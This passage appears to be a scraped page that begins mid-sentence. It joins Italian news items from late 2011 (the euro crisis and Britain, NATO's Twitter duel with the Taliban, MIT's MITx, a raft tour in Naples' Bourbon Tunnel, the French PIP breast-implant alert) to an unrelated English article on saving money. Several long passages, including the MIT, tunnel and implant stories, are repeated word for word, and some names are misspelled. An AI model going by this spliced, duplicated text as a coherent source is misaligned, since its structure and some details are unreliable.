debito che investe l'Europa incute paura; la presenza di un garante
esterno, come il Fmi, ha il compito, quindi, di rassicurare i mercati
internazionali. Per la Gran Bretagna, invece, l'Europa dovrebbe
rafforzare i propri strumenti come il fondo salva-Stati (Efsf) e non
appoggiarsi ad una realtà esterna.
Intanto, è giunta notizia che stamattina
venti uomini d'affari inglesi, hanno lanciato un appello al premier
David Cameron contro la posizione oltranzista da questo presa
nell'ultimo summit Ue, sottolineando l'importanza che l'Euro ha per
l'economia inglese e il rischio che la Gran Bretagna resti esclusa dal
"tavolo delle decisioni" europee. Alcuni dei più noti firmatari: Richard Branson
fondatore del gruppo Virgin, il presidente di British Telecom Mike
Rake, l'amministratore delegato di Eurostar Nicolas Petrovic, Martin
Sorrell amministratore delegato di Wpp.
Anche per il Regno Unito, dunque, non è detta ancora l'ultima parola.
Afghanistan, trincea Twitter
Dal campo al web: la guerra social fra forze Nato e talebani.
Il 14 settembre i talebani colpivano l'ambasciata Usa e il quartiere
generale della Nato a Kabul, in Afghanista. Da quel giorno l'Isaf
(International security assistance force, il nome ufficiale della
coalizione guidata dalla Nato che opera nel Paese) ha inaugurato una
nuova fase della lotta al terrorismo. Una fase basata su Twitter. Dal
suo account sul social network (@isafmedia), infatti, sono partiti i
primi tweet anti-talebani a cui proprio quest'ultimi hanno cominciato a
rispondere, un fatto finora inedito nella cyberguerra.
NEMICO E FOLLOWER.
Il cambio di strategia è stato
necessario anche perché da tempo i talebani e altre organizzazioni
terroristiche si sono impegnate sul web a fini propagandistici e di
reclutamento. Un lavoro continuo e fruttevole a cui la Nato e l'Isaf ha
appena cominciato a opporsi. Finora la nuova fase sta avendo successo e
l'account @isafmedia ha aumentato vertiginosamente il numero di
follower.
TWITTER E MONDO ARABO.
Ciò prova per l'ennesima volta
del peso sempre più cruciale che i social network hanno nella politica
globale. Una conferma? Il 19 dicembre il principe Alwaleed bin Talal,
nipote del re saudita Abdullah, ha investito ben 300 milioni di dollari
proprio su Twitter, un fatto che costringe a molti interrogativi sul
rapporto sempre più stretto tra nuovi media, mondo arabo e libertà .
Massachussets Institute of Technology
Straordinario annuncio fatto dal Massachussets Institute of Technology (MIT) che, con la piattaforma MITx, intende portare l'istruzione al di fuori dei propri campus e a titolo gratuito. Dalle pagine del sito della prestigiosa università si evince la bontà del programma di studi, concepito sia per aiutare gli studenti in sede sia quelli – e gli ideatori si auspicano essere milioni - che vorranno studiare in remoto. La piattaforma di e-Learning sarà open-source e sarà anch'essa strumento di studio, affinché venga migliorata dalla comunità di studenti.
Gli allievi del MIT hanno già sollevato qualche opposizione: secondo loro questa iniziativa, per quanto nobile, può intaccare la qualità mondialmente riconosciuta dell'ateneo, notoriamente esigente in materia di prerequisiti necessari all'ammissione. La replica del rettore Rafael Reif non tarda però ad arrivare e fa sapere che la laurea resterà titolo esclusivo accessibile solo agli studenti interni, invece a chi seguirà i corsi online verrà rilasciato un certificato.
La piattaforma sarà a disposizione a partire dalla primavera 2012, ed è di fatto una naturale evoluzione del programma OpenCourseWare che offre, già da 10 anni, il materiale di studio usato in oltre 2mila corsi erogati dal MIT e che, stando a fonti interne, è già stato consultato da 100milioni di persone in tutto il mondo. Questo progetto di e-Learning va quindi a consolidare la strada intrapresa con l'obiettivo di incentivare non solo lo studio in ambito scientifico ma anche quello legato alla pedagogia e alla didattica, per portare istruzione ovunque. Iniziativa che al MIT si augurano verrà presto replicata da altri atenei.
Questa decisione, storica da più di un punto di vista, riuscirà con ogni probabilità a sedare i detrattori dello studio online secondo i quali non garantisce risultati, oltre a non aggiungere nulla all'istruzione nella sua forma classica.
Gli allievi del MIT hanno già sollevato qualche opposizione: secondo loro questa iniziativa, per quanto nobile, può intaccare la qualità mondialmente riconosciuta dell'ateneo, notoriamente esigente in materia di prerequisiti necessari all'ammissione. La replica del rettore Rafael Reif non tarda però ad arrivare e fa sapere che la laurea resterà titolo esclusivo accessibile solo agli studenti interni, invece a chi seguirà i corsi online verrà rilasciato un certificato.
La piattaforma sarà a disposizione a partire dalla primavera 2012, ed è di fatto una naturale evoluzione del programma OpenCourseWare che offre, già da 10 anni, il materiale di studio usato in oltre 2mila corsi erogati dal MIT e che, stando a fonti interne, è già stato consultato da 100milioni di persone in tutto il mondo. Questo progetto di e-Learning va quindi a consolidare la strada intrapresa con l'obiettivo di incentivare non solo lo studio in ambito scientifico ma anche quello legato alla pedagogia e alla didattica, per portare istruzione ovunque. Iniziativa che al MIT si augurano verrà presto replicata da altri atenei.
Questa decisione, storica da più di un punto di vista, riuscirà con ogni probabilità a sedare i detrattori dello studio online secondo i quali non garantisce risultati, oltre a non aggiungere nulla all'istruzione nella sua forma classica.
Sulla zattera delle caverne alla scoperta dei segreti del Tunnel Borbonico
NAPOLI - C’è un momento in cui la guida blocca la zattera e chiede a
ciascuno di smettere di parlare. È l’istante più emozionante del viaggio
più incredibile che possa capitare a una persona ; dopo un minuto la
guida sussurra «state ascoltando il silenzio assoluto. In nessun altro
luogo riuscirete a provare una sensazione come questa». A dire la verità
non esiste un solo secondo che può essere replicato dell’intera
esperienza.
Nel ventre della città, quaranta metri sottoterra, al centro di un fiume a bordo di una zattera: non è un filmone d’avventura, è realtà vera, concreta e piuttosto umida. Si tratta dell’ultima scoperta di Gianluca Minin che di professione è geologo ma la sua passione vera è il sottosuolo, anzi il tunnel Borbonico, il percorso scavato da Ferdinando II nella roccia di Chiaia per collegare palazzo reale al mare dietro Castel dell’Ovo. Quel tunnel è stato riscoperto, nuovamente scavato (da detriti e macerie), letteralmente trasformato da Minin che ha lavorato per dieci anni al buio per poter aprire quel percorso ai turisti. Oggi il tunnel è diventato una delle attrazioni turistiche più visitate della città. Sembrava che il progetto ambizioso potesse terminare così.
Invece un giorno s’è materializzata una nuova sfida: una grotta che si trova al di sotto del tunnel ha iniziato ad allagarsi. Niente di preoccupante, è l’acqua «suffregna», solforosa, che risale; si tratta semplicemente di variazioni naturali dell’assetto del terreno: Minin, geologo, ha studiato il fenomeno e s’è tranquillizzato. Però quell’acqua che stava lentamente creando un percorso sotterraneo era troppo avvincente. Alla fine dello scorso mese di luglio il vulcanico geologo decise, con tutto il gruppo di lavoro della sua «Borbonica Sotterranea», di studiare la possibilità di superare quell’acqua, di navigare su quel fiume. Sembrava una follìa, invece non lo era. Il primo saggio di navigazione venne effettuato su un canottino arancione portato di corsa da un amico che voleva a tutti i costi far decollare l’iniziativa. Quel canottino, oggi, è ancora lì sotto: serve a ricordare qual è stato il primo passo dell’incredibile percorso che oggi arriva a conclusione.
Siccome il primo test (raccontato in esclusiva dal nostro giornale) si rivelò vincente, ed ebbe anche un importante riscontro d’interesse da parte del pubblico, l’iniziativa decollò immediatamente.
È stata acquistata una zattera da una ditta specializzata che le prepara per la navigazione nei laghi. Un dettaglio determinante è stata la dimensione dei pezzi che dovevano poter essere infilati nel cuore della città prima di essere montati: subito dopo l’arrivo del materiale, una squadra di sei persone s’è infilata ai margini del fiume sotterraneo ed ha materialmente costruito la zattera che adesso è, praticamente, prigioniera del sottosuolo perché ora che è assemblata non c’è lo spazio necessario per tirarla fuori. Come «molo» è stato utilizzato il vecchio ponteggio di tubi innocenti che era già stato realizzato. Poi si è proceduto con i test. La zattera potrà trasportare fino a quattordici persone contemporaneamente nel tour del sottosuolo della città.
Il percorso inizia esattamente al centro di una antichissima cisterna del seicentesco acquedotto di Napoli. Da quel punto partirono, negli anni ’80, i lavori per la costruzione della Ltr poi sospesi una decina d’anni dopo e mai più ripresi. Così nel cuore della città è rimasto abbandonato un lunghissimo tunnel, per una parte antico e per l’altra moderno, che parte da via Morelli e arriva sotto al palazzo della Prefettura a piazza Plebiscito: e quel tunnel si è lentamente allagato fino a creare il nuovo percorso.
Luce di candele a segnare la strada, piccole torce consegnate ai visitatori per scoprire i particolari che sbucano dal buio intenso: le guide spiegano i segreti degli scavi antichi, quelli della cisterna dalla quale parte la zattera, e degli scavi moderni, quelli che s’intercettano al molo di arrivo della zattera, quando si sbarca per proseguire il tour nel buio della cavità.
Il viaggio in zattera nelle viscere della città verrà aperto ai turisti dal 26 dicembre, per accedere è necessario prenotare al sito web del tunnel borbonico: la prenotazione è necessaria per preparare adeguatamente la zattera e gli strumenti adatti ad accogliere i turisti nel viaggio più incredibile del mondo.
Un viaggio che si può fare solo a Napoli.
Nel ventre della città, quaranta metri sottoterra, al centro di un fiume a bordo di una zattera: non è un filmone d’avventura, è realtà vera, concreta e piuttosto umida. Si tratta dell’ultima scoperta di Gianluca Minin che di professione è geologo ma la sua passione vera è il sottosuolo, anzi il tunnel Borbonico, il percorso scavato da Ferdinando II nella roccia di Chiaia per collegare palazzo reale al mare dietro Castel dell’Ovo. Quel tunnel è stato riscoperto, nuovamente scavato (da detriti e macerie), letteralmente trasformato da Minin che ha lavorato per dieci anni al buio per poter aprire quel percorso ai turisti. Oggi il tunnel è diventato una delle attrazioni turistiche più visitate della città. Sembrava che il progetto ambizioso potesse terminare così.
Invece un giorno s’è materializzata una nuova sfida: una grotta che si trova al di sotto del tunnel ha iniziato ad allagarsi. Niente di preoccupante, è l’acqua «suffregna», solforosa, che risale; si tratta semplicemente di variazioni naturali dell’assetto del terreno: Minin, geologo, ha studiato il fenomeno e s’è tranquillizzato. Però quell’acqua che stava lentamente creando un percorso sotterraneo era troppo avvincente. Alla fine dello scorso mese di luglio il vulcanico geologo decise, con tutto il gruppo di lavoro della sua «Borbonica Sotterranea», di studiare la possibilità di superare quell’acqua, di navigare su quel fiume. Sembrava una follìa, invece non lo era. Il primo saggio di navigazione venne effettuato su un canottino arancione portato di corsa da un amico che voleva a tutti i costi far decollare l’iniziativa. Quel canottino, oggi, è ancora lì sotto: serve a ricordare qual è stato il primo passo dell’incredibile percorso che oggi arriva a conclusione.
Siccome il primo test (raccontato in esclusiva dal nostro giornale) si rivelò vincente, ed ebbe anche un importante riscontro d’interesse da parte del pubblico, l’iniziativa decollò immediatamente.
È stata acquistata una zattera da una ditta specializzata che le prepara per la navigazione nei laghi. Un dettaglio determinante è stata la dimensione dei pezzi che dovevano poter essere infilati nel cuore della città prima di essere montati: subito dopo l’arrivo del materiale, una squadra di sei persone s’è infilata ai margini del fiume sotterraneo ed ha materialmente costruito la zattera che adesso è, praticamente, prigioniera del sottosuolo perché ora che è assemblata non c’è lo spazio necessario per tirarla fuori. Come «molo» è stato utilizzato il vecchio ponteggio di tubi innocenti che era già stato realizzato. Poi si è proceduto con i test. La zattera potrà trasportare fino a quattordici persone contemporaneamente nel tour del sottosuolo della città.
Il percorso inizia esattamente al centro di una antichissima cisterna del seicentesco acquedotto di Napoli. Da quel punto partirono, negli anni ’80, i lavori per la costruzione della Ltr poi sospesi una decina d’anni dopo e mai più ripresi. Così nel cuore della città è rimasto abbandonato un lunghissimo tunnel, per una parte antico e per l’altra moderno, che parte da via Morelli e arriva sotto al palazzo della Prefettura a piazza Plebiscito: e quel tunnel si è lentamente allagato fino a creare il nuovo percorso.
Luce di candele a segnare la strada, piccole torce consegnate ai visitatori per scoprire i particolari che sbucano dal buio intenso: le guide spiegano i segreti degli scavi antichi, quelli della cisterna dalla quale parte la zattera, e degli scavi moderni, quelli che s’intercettano al molo di arrivo della zattera, quando si sbarca per proseguire il tour nel buio della cavità.
Il viaggio in zattera nelle viscere della città verrà aperto ai turisti dal 26 dicembre, per accedere è necessario prenotare al sito web del tunnel borbonico: la prenotazione è necessaria per preparare adeguatamente la zattera e gli strumenti adatti ad accogliere i turisti nel viaggio più incredibile del mondo.
Un viaggio che si può fare solo a Napoli.
In Francia allarme per le protesi al seno Il ministero: "Cancerogene, fatele togliere"
Entro il 24 dicembre le autorità sanitarie dirameranno l'avviso a 300mila donne: il sospetto è che gli impianti di tipo "Pip" abbiano provocato la morte di almeno una persona
Sotto l'albero di Natale migliaia di donne francesi troveranno un regalo decisamente poco allegro: entro il 24 dicembre le autorità sanitarie francesi suggeriranno a circa 300mila donne con protesi mammarie di tipo Pip (Poly implants prothèses) di farsele rimuovere. Si tratta infatti di un modello di protesi difettoso, e c'è il sospetto che abbiano provocato la morte per cancro di almeno una donna, mettendone a rischio migliaia di altre.
Secondo
il quotidiano Liberation, Anges Buzyn, dell'Institut national du
cancer, e Jean-Yves Grall, direttore generale del ministero della
salute, hanno preso la decisione di lanciare l'allarme poiché si sono
convinti della pericolosità delle protesi in questione: si tratta di una
decisione unica nella storia della chirurgia estetica.
La portavoce del governo, Valerie Pecresse, ha di fatto confermato l'allarme: "Stiamo valutando il caso - ha spiegato - e considerando la specificità di queste protesi mammarie: potrebbero provocare il cancro". Ciò che è essenziale, ha proseguito, "è che tutte le donne che hanno un simile impianto si rivolgano ai lori chirurghi... e per quanto ci riguarda dobbiamo effettuare un censimento di tutte le donne che si sono fatte impiantare tali protesi e potenzialmente sono in pericolo".
Per quanto riguarda le spese necessarie per rimuovere le protesi, la portavoce ha rassicurato le donne interessate: "Si tratta di un'urgenza sanitaria, quindi l'intervento sarà a carico della sanità pubblica".
La portavoce del governo, Valerie Pecresse, ha di fatto confermato l'allarme: "Stiamo valutando il caso - ha spiegato - e considerando la specificità di queste protesi mammarie: potrebbero provocare il cancro". Ciò che è essenziale, ha proseguito, "è che tutte le donne che hanno un simile impianto si rivolgano ai lori chirurghi... e per quanto ci riguarda dobbiamo effettuare un censimento di tutte le donne che si sono fatte impiantare tali protesi e potenzialmente sono in pericolo".
Per quanto riguarda le spese necessarie per rimuovere le protesi, la portavoce ha rassicurato le donne interessate: "Si tratta di un'urgenza sanitaria, quindi l'intervento sarà a carico della sanità pubblica".
The Secret to Saving Money
Even If It Doesn’t Seem Like You Have Any, You Can Save Money
Would you be interested if I told you there’s a secret to saving money? Well, it’s true. There are a few secrets that can be used to save money, even if it doesn’t feel like you have any money to save. The bad news is that these secrets have been made public for decades and it’s simply up to you to decide whether or not to use them.
Saving Money Secret #1: Budgeting
First, you need to create a budget. I know what you’re thinking, but before you can even dream about saving money you have to know where your money is going. There’s simply no way around it. How can you decide where to make cuts or find extra cash to save if you have no idea where all of your money is going? You can’t. So, it’s time to create a budget.The thing is, you don’t have to make it a chore. In fact, many successful people get through life without tracking every single penny each and every day. You can probably get by doing the same. Initially, you do have to at least sit down and find out where your money is going. How much is being spent on housing, utilities, groceries, debt, and entertainment? Once you have created a clear picture of where your money goes in a typical month you can begin to spot trends and problem areas. After you’ve found the problem areas you’ll have a better idea of where you can cut back and by how much. Then you can use that money to apply to your savings.
As you can see, the idea is to paint a picture of where your money is going and isn’t so much about tracking every single dollar you spend throughout the day. Yes, that can also be a helpful exercise to keep spending under control, but that’s also what turns most people off of budgeting after just a few weeks.
Saving Money Secret #2: Paying Yourself First
After you’ve identified where your money is going you should have a few spare dollars to put aside into your savings or a retirement plan like a 401(k). That’s a great start, but there’s another secret to saving money: paying yourself first.You’ve probably heard that phrase before, but it’s so common because it works. If you’re like most people you probably wait until your paycheck hits your checking account, you pay the bills, and buy the weekly groceries before deciding how much you can afford to deposit into savings. By then the amount may be small and you’re worried you might need those few dollars later in the week so you avoid putting any money into savings at all. Big mistake.
You need to think of your savings just like you would any other bill. When your electric bill comes each month what do you do? You make sure it gets paid, right? That’s how you need to treat your savings account. If your goal is to save $100 a month then think of that as a $100 bill that needs to be paid. If you are thinking about this in terms of a bill you’re more likely to make that deposit and build up your emergency fund.
Just thinking about your monthly savings as a bill isn’t enough, and that’s where you have to pay yourself first. You need to create an automatic savings plan that will automatically deposit money into your savings account before you even have a chance to spend it. This can be done right through your employer’s direct deposit or with a recurring transfer with your bank. And just like magic, you don’t even miss the money going into savings each week, yet your savings account begins growing over time.
Saving Money Secret #3: Spend Less Than You Earn
This is the holy grail of personal finance, but if you can’t utilize this secret you’ll never be able to save money. You simply have to spend less money than you earn and there’s no way around that. It’s all about cash flow.If you earn $100 and spend $110 you’re now at a -$10. Where does that extra ten dollars come from? Usually it’s borrowed money, either from a credit card or some sort of loan. And guess what? That borrowed money comes with interest. That means you’re actually more than ten dollars in the hole. As you begin to do this on a regular basis month after month and with large dollar amounts it’s easy to see how someone can get tens of thousands of dollars in debt, which is exactly why most people feel as if they don’t have any money to save.
As this debt mounts you may find yourself just making the minimum payments each month, but that in turn just means you’ll be spending the next ten or twenty years paying for something you couldn’t afford, spending thousands on interest.
You Can Save Money
Do those secrets sound like common sense? They should. Most of us know that we need to budget our money, put money aside for the future, and stay out of debt, but many of us still can’t do it. Unfortunately, short of winning the lottery there are no secrets to building wealth. These three sound money management principles are the foundation of personal finance.One thing is certain. If you can budget your money so that you are spending less than you earn and put some of that money into a savings or retirement account before you have time to spend it, you will be able to save money and build wealth.
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